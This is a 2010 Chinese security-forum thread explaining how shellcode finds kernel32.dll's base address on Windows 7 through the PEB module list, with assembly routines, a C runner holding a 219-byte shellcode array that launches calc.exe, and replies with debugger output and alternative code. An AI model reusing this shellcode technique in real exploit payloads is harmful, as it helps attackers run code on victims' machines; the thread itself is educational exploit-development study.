首页
社区
课程
招聘
[原创]Win 7下定位kernel32.dll基址及shellcode编写
发表于: 2010-10-14 22:19 48196

[原创]Win 7下定位kernel32.dll基址及shellcode编写

2010-10-14 22:19
48196

Win 7下定位kernel32.dll基址及shellcode编写
Author:Cryin
Data:2010.10.14
Blog:http://hi.baidu.com/justear
      为了使shellcode在多种操作系统平台下都可以正常运行,就不得不动态的定位kernel32.dll的基地址。而被广泛使用的一种方法是通过TEB/PEB结构获取kernel32.dll基地址,我个人第一次接触是通过绿盟月刊的一篇文章“通过TEB/PEB枚举当前进程空间中用户模块列表”方才知道这种被众多编程人员使用的方法。至于这个方法的最原始出处该文作者也未提及。只得知29A杂志也有大量使用该技术。这种方法适用于除Win7以外的所有windows操作系统包括95/98/ME/NT/2K/XP,大小只有34 bytes,下面是其原理及实现代码;
      更详细的知识大家可以参考snowdbg大牛的文章Windows下的shellcode剖析浅谈http://bbs.pediy.com/showthread.php?t=99007
      利用PEB结构来查找kernel32.dll的原理:FS段寄存器作为选择子指向当前的TEB结构,在TEB偏移0x30处是PEB指针。而在PEB偏移的0x0c处是指向PEB_LDR_DATA结构的指针,位于PEB_LDR_DATA结构偏移0x1c处,是一个叫InInitialzationOrderModuleList的成员,他是指向LDR_MODULE链表结构中,相应的双向链表头部的指针,该链表加载的DLL的顺序是ntdll.dll,kernel32.dl,因此该成员所指的链表偏移0x08处为kernel32.dll地址。
更详细的知识大家可以参考snowdbg大牛的文章Windows下的shellcode剖析浅谈http://bbs.pediy.com/showthread.php?t=99007
获取KERNEL32.DLL基址汇编实现代码:

;find kernel32.dll
find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x                                ;win9x or nt
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret

但非常可惜的是这种方法在Win7下是不适用的,所以很高兴现在给大家分享国外网站上看到的一种新的方法来定位kernel32.dl的基地址,该方法可以在所有windows版本上适用!这种方法通过在InInitializationOrderModuleList中查找kernel32.dll模块名称的长度来定位它的基地址,因为"kernel32.dll"的最后一个字符为"\0"结束符。所以倘若模块最后一个字节为"\0"即可定位kernel32.dll的地址;

具体代码实现方法:
;find kernel32.dll
find_kernel32:
    push esi
    xor ecx, ecx
    mov esi, [fs:ecx+0x30]
    mov esi, [esi + 0x0c]
    mov esi, [esi + 0x1c]
next_module:
    mov eax, [esi + 0x8]
    mov edi,[esi+0x20]
    mov esi ,[esi]
    cmp [edi+12*2],cx
    jne next_module
    pop esi
    Ret
      通过我的测试,这种利用该方法编写的shellcode可以在32位平台Windows 5.0-7.0的所有版本上适用,下面是经我测试在win 7下实现执行calc.exe的shellcode,shellcode本身写的很粗糙只为验证该方法的可用性!

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
        unsigned char shellcode[219] = {
        0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B,
        0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2,
        0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA,
        0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE,
        0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9,
        0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66,
        0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24,
        0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08,
        0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19,
        0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00,
        0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04,
        0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B,
        0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF,
        0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
};

printf("size of shellcode: %d\n", strlen(shellcode));
system("pause");
((void (*)())shellcode)();
return 0;
}
感谢所有朋友回复和意见以及riusksk的验证,漏洞方面我是新手,还需不断学习,我深信技术的提升总是通过一次一次的更新的认知!发现自己的不足,不断进步!这才是我一直关注看雪的原因!
参考链接:
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/
http://code.google.com/p/w32-exec-calc-shellcode/


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (36)
雪    币: 94
活跃值: (475)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
还是第一个来支持大牛的作品!辛苦了一天了,真不容易!
2010-10-14 22:42
0
雪    币: 386
活跃值: (46)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
3
从某些shellcode中应该能找到这样的样本,好熟悉
2010-10-14 22:49
0
雪    币: 99
活跃值: (2453)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
真正原创在这里:
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/
2010-10-14 23:26
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
5
不用这么复杂吧。我感觉Win7下跟XP下所用的方法都是一样的,只是有2 3 行汇编代码的差异
2010-10-15 01:18
0
雪    币: 105
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
学习,争取早日离开小白的阵营
2010-10-15 08:07
0
雪    币: 218
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
fs:[30h] 获得kernel32.dll基址不和winxp一样嘛?
前几天才写了一段,没一点问题啊。

;;获取Kernel32.dll基址
GetKernelAddr proc
   assume fs:nothing
   mov  eax, fs:[30h]
   mov  eax, [eax+0ch]
   mov  eax, [eax+0ch]
   mov  eax, [eax]
   mov  eax, [eax]
   mov  eax, [eax+18h]
   ret
GetKernelAddr endp
2010-10-15 08:44
0
雪    币: 241
活跃值: (235)
能力值: ( LV13,RANK:240 )
在线值:
发帖
回帖
粉丝
8
  我也是在以前写的shellcode基础之上改了几行就可以了,不过确实我以前写的shellcode在win7不适用。貌似pdf9.3.4的一个样本可以在win7下跑,这才研究了下。看来是OUT了!
2010-10-15 08:52
0
雪    币: 241
活跃值: (235)
能力值: ( LV13,RANK:240 )
在线值:
发帖
回帖
粉丝
9
楼上说的原创确实不是本人,原创那个大牛的汇编代码在这里可以找到http://code.google.com/p/w32-exec-calc-shellcode/downloads/list   大家可以参考!我的代码就不贴了,唯一的区别是hash值不同,其它的差不多,反而我写的粗糙的多!
2010-10-15 08:53
0
雪    币: 393
活跃值: (100)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
10
printf("size of shellcode: %d\n", strlen(shellcode));


应该是

printf("size of shellcode: %d\n", [COLOR="Red"]sizeof[/COLOR](shellcode));
2010-10-15 10:51
1
雪    币: 241
活跃值: (235)
能力值: ( LV13,RANK:240 )
在线值:
发帖
回帖
粉丝
11
谢谢指正呵呵!
2010-10-15 11:00
0
雪    币: 75
活跃值: (733)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
12
我来发个。。
自己实现的,直接比对模块名得到kernel32.dll基地址,原理一样,适用所有windows版本
            MOV  EAX,DWORD PTR FS:[30H]  
            MOV  EAX,DWORD PTR [EAX+0CH]
        MOV  EAX,DWORD PTR [EAX+1CH]
//...................................................................................................

                                                PUSH 0x006c006c                       
                                                PUSH 0x0064002e
                                                PUSH 0x00320033
                                                PUSH 0x006c0065
                                                PUSH 0x006e0072
                                                PUSH 0x0065006B                                               
                                                MOV ESI,ESP
                                               
_LOOP:                                        
                                                XOR ECX,ECX
                                                MOV EAX,DWORD PTR [EAX]                                //LDR_MODULE链表头的Flink指针
                                                LEA EBX,DWORD PTR [EAX+1CH]                //获取_LDR_DATA_TABLE_ENTRY结构中的成员BaseDllName指针
                                                MOV CX,WORD PTR [EBX]                                 //获取BaseDllName->Length
                                                MOV EDI,DWORD PTR [EBX+4H]    //获取BaseDllName->buffer
                                               
                                                CMP ECX,0
                                                JE  _LOOP
                                                CMP CX, 24
                                                JNE  _LOOP
                               
                                                PUSH EAX                     //保存LDR_MODULE链表指针
//...................................................................................................                                               
                                                push  ECX                   //strcmpwi函数的三个参数
                                                push  ESI
                                                push  EDI                                                                                                               
//...................................................................................................       
                                                push    0                                                                          //填充返回伪值
                                                push    ebp
                                                mov     ebp, esp
                                                sub     esp, 48h
                                                push    ebx
                                                push    esi
                                                push    edi
                                                lea     edi, [ebp-48H]
                                                mov     ecx, 12h
                                                mov     eax, 0CCCCCCCCh
                                                rep stosd
                                                mov     [ebp-4], 0
                                                jmp     short loc_40104A

loc_401041:
            mov     eax, [ebp-4]
            add     eax, 1
            mov     [ebp-4], eax

loc_40104A:
            mov     ecx, [ebp-4]
            cmp     ecx, [ebp+10H]
            jnb     short loc_40109D
            mov     edx, [ebp+8H]
            add     edx, [ebp-4]
            xor     eax, eax
            mov     al, [edx]
            cmp     eax, 41h
            jl      short loc_401080
            mov     ecx, [ebp+8]
            add     ecx, [ebp-4]
            xor     edx, edx
            mov     dl, [ecx]
            cmp     edx, 5Ah
            jg      short loc_401080
            mov     eax, [ebp+8]
            add     eax, [ebp-4]
            xor     ecx, ecx
            mov     cl, [eax]
            add     ecx, 20h
            mov     byte ptr [ebp-8], cl

loc_401080:
            mov     edx, [ebp-8]
            and     edx, 0FFh
            mov     eax, [ebp+0ch]
            add     eax, [ebp-4]
            xor     ecx, ecx
            mov     cl, [eax]
            cmp     edx, ecx
            jz      short loc_40109B
            xor     eax, eax
            jmp     short loc_4010A2

loc_40109B:
            jmp     short loc_401041

loc_40109D:
            mov     eax, 1

loc_4010A2:
            pop     edi
            pop     esi
            pop     ebx
            mov     esp, ebp
            pop     ebp
                              add                 esp,16                                                                        //平衡堆栈
//...................................................................................................                                  
                                                CMP EAX,0
                                                JNE  _FINDED
                                                POP EAX
                                                JMP  _LOOP
                                                                                                                                                                                                      
_FINDED:
                                                POP  EAX
                                                MOV EAX, DWORD PTR[EAX + 8]   //获取kernel32.dll的基地址
                                                ADD ESP, 24
2010-10-15 11:10
0
雪    币: 241
活跃值: (235)
能力值: ( LV13,RANK:240 )
在线值:
发帖
回帖
粉丝
13
[QUOTE=skypismire;872104]我来发个。。
自己实现的,直接比对模块名得到kernel32.dll基地址,原理一样,适用所有windows版本
            MOV  EAX,DWORD PTR FS:[30H]  
            MOV  EAX,DWORD PTR [EAX+0CH]
      ...[/QUOTE]

这个写的很强大,我在好好看看
2010-10-15 18:50
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
14
vista以前的系统,kernel32.dll位于模块链表中的第二个模块,win7则位于第三个模块,见下分析:

0:000> !peb

PEB at 7ffd8000

    InheritedAddressSpace:    No

    ReadImageFileExecOptions: No

    BeingDebugged:            Yes

    ImageBaseAddress:         002f0000

    Ldr                       772b7880

    Ldr.Initialized:          Yes

    Ldr.InInitializationOrderModuleList: 006f2068 . 006f34c8

    Ldr.InLoadOrderModuleList:           006f1fc8 . 006f38f8

    Ldr.InMemoryOrderModuleList:         006f1fd0 . 006f3900

            Base TimeStamp                     Module

          2f0000 49a5f6b3 Feb 26 09:56:03 2009 C:\Program Files\Debugging Tools for Windows (x86)\kill.exe

        [COLOR="Red"]771e0000[/COLOR] 4a5bdadb Jul 14 09:09:47 2009 C:\Windows\SYSTEM32\[COLOR="Red"]ntdll.dll[/COLOR]

        [COLOR="Red"]757c0000[/COLOR] 4b1e3897 Dec 08 19:29:27 2009 C:\Windows\system32[COLOR="Red"]\kernel32.dll[/COLOR]

        [COLOR="Red"]75500000[/COLOR] 4a5bdaae Jul 14 09:09:02 2009 C:\Windows\system32\[COLOR="Red"]KERNELBASE.dll[/COLOR]

        75630000 4a5bda6f Jul 14 09:07:59 2009 C:\Windows\system32\msvcrt.dll

        758b0000 4a5bd97e Jul 14 09:03:58 2009 C:\Windows\system32\ADVAPI32.dll

        76fc0000 4a5bdb04 Jul 14 09:10:28 2009 C:\Windows\SYSTEM32\sechost.dll

        76850000 4a5bdade Jul 14 09:09:50 2009 C:\Windows\system32\RPCRT4.dll

        77320000 4a5bdb2f Jul 14 09:11:11 2009 C:\Windows\system32\USER32.dll

        76900000 4a5bd9dd Jul 14 09:05:33 2009 C:\Windows\system32\GDI32.dll

        756e0000 4a5bda19 Jul 14 09:06:33 2009 C:\Windows\system32\LPK.dll

        75980000 4a5bdb32 Jul 14 09:11:14 2009 C:\Windows\system32\USP10.dll

              ……

查看Ldr.InInitializationOrderModuleList:

0:000> dd 006f2068

006f2068  006f24a8 772b789c [COLOR="Red"]771e0000[/COLOR] 00000000         // [COLOR="Red"]ntdll.dll[/COLOR]

006f2078  0013c000 003c003a 006f1f28 00140012

006f2088  7724d4cc 00004004 0000ffff 772ba680

006f2098  772ba680 4a5bdadb 00000000 00000000

查看下一模块入口:

0:000> dd 006f24a8

006f24a8  006f2390 006f2068 [COLOR="Red"]75500000[/COLOR] 75507a9d          // [COLOR="Red"]KERNELBASE.dll,已经不再是kernel32.dll[/COLOR]

006f24b8  0004a000 00460044 006f2438 001e001c

006f24c8  006f2460 00084004 0000ffff 772ba690

006f24d8  772ba690 4a5bdaae 00000000 00000000

再查看下一模块入口:

0:000> dd 006f2390

006f2390  006f2dc8 006f24a8 [COLOR="Red"]757c0000[/COLOR] 758110e5         [COLOR="Red"] // kernel32.dll,已经成为第三个模块了[/COLOR]

006f23a0  000d4000 00420040 006f2320 001a0018

006f23b0  006f2348 00084004 0000ffff 772ba640

006f23c0  772ba640 4b1e3897 00000000 00000000


因此原先查找xp的方法就不能适用于win7,而通过搜索字符串"kernel32.dll"的终止符\0,就可以实现win2k~win7平台的通用性。
2010-10-15 23:22
0
雪    币: 315
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
又防住了,哈哈哈哈!
2010-10-16 11:25
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
16
Oh yeah~
2010-10-16 12:27
0
雪    币: 393
活跃值: (100)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
17
现在的人基础真差

char *p
char array[]


strlen:
http://msdn.microsoft.com/en-us/library/78zh94ax%28VS.71%29.aspx
2010-10-16 13:22
0
雪    币: 219
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
很好,支持lz
2010-10-16 13:55
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
19
[QUOTE=iiii;872636]现在的人基础真差

char *p
char array[]


strlen:
http://msdn.microsoft.com/en-us/library/78zh94ax%28VS.71%29.aspx[/QUOTE]

谢iiii了。这块之前确实不太理解。一直认为数组名就是指针。
发个链接,不太清楚的朋友也来参考下
http://zhidao.baidu.com/question/133592005
2010-10-16 14:31
0
雪    币: 563
活跃值: (101)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
安装WIN7试试!
2010-10-16 14:57
0
雪    币: 202
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
学习,路过!
2010-10-19 09:24
0
雪    币: 1259
活跃值: (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
stu
22
学习学习了.
2010-10-19 12:11
0
雪    币: 345
活跃值: (127)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
23
在win7中顺序固定是3?如果这样实际上应该很容易改进嘛,
2010-10-20 22:32
0
雪    币: 345
活跃值: (127)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
24
试验了一下,在我的系统上(win 7)kernel32位于模块链的第二个模块。
2010-10-20 23:01
0
雪    币: 345
活跃值: (127)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
25
更正一下我发的回帖。
之前我发的“kernel32位于模块链的第二个模块”是错误的,当时的试验做错了。
如之前一些大侠所言,kernel32位于InInitializationOrderModuleList模块链的第三个模块。
2010-10-21 15:58
0
游客
登录 | 注册 方可回帖
返回
//